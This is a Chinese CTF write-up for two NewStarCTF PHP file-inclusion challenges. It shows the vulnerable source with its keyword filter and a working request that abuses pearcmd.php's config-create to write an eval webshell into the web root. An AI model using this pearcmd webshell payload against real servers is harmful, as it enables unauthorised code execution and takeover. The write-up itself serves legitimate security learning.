LFI to RCE [NewStarCtf]Include 🍐
记录一个没见过的RCE类型题目。先看源码:
点击查看代码
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>
发现是假flag,到这里时我没思路了,因为协议基本都用不了。看了wp发现这个假flag是个提示,说是检查register_argc_argv这个东西,那就看看,发现这个东西是开启状态的,那就去搜搜与它相干的漏洞。搜到了LFI TO RCE之pearcmd.php利用。这个东西是pecl的类库,用于管理扩展而使用的命令行工具。在docker容器中是被默认安装的,在php7.3之前是默认安装的,7.4及以后需要指定安装。在其源码中会将$_SERVER[‘argv’]当作参数执行,这样就给了我们可以命令执行的可能,例如http://xxxxx/index.php?system+ls 会返回当前目录下东西,+为分隔符不能去掉。
所以payload为:
点击查看代码
发GET包
GET /?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php
config-create是pearcmd.php的参数,用于创建默认配置文件。意思就是讲<?=eval($_POST[1])?>写到/var/www/html/路径下的a.php,没有则创建一个。
再做一个[NewStarCTF]IncludeTwo,进入页面给出源码
点击查看代码
<?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
}
利用tee命令是因为没有回显,将输出转到其他文件中。再访问1.php即可得到flag。
· Kafka 的“无锁哲学”:高效消息流动的背后
· 时间轮在 Netty , Kafka 中的设计与实现
· MySQL 优化利器 SHOW PROFILE 的实现原理
· 在.NET Core中使用异步多线程高效率的处理大量数据
· 聊一聊 C#前台线程 如何阻塞程序退出
· 3款.NET开源、功能强大的通讯调试工具,效率提升利器!
· 用 Cursor 写出第一个程序
· 如何做好技术经理
· 【杂谈】Kafka 的“无锁哲学”:高效消息流动的背后
· 盘点5个常用的.Net依赖注入框架!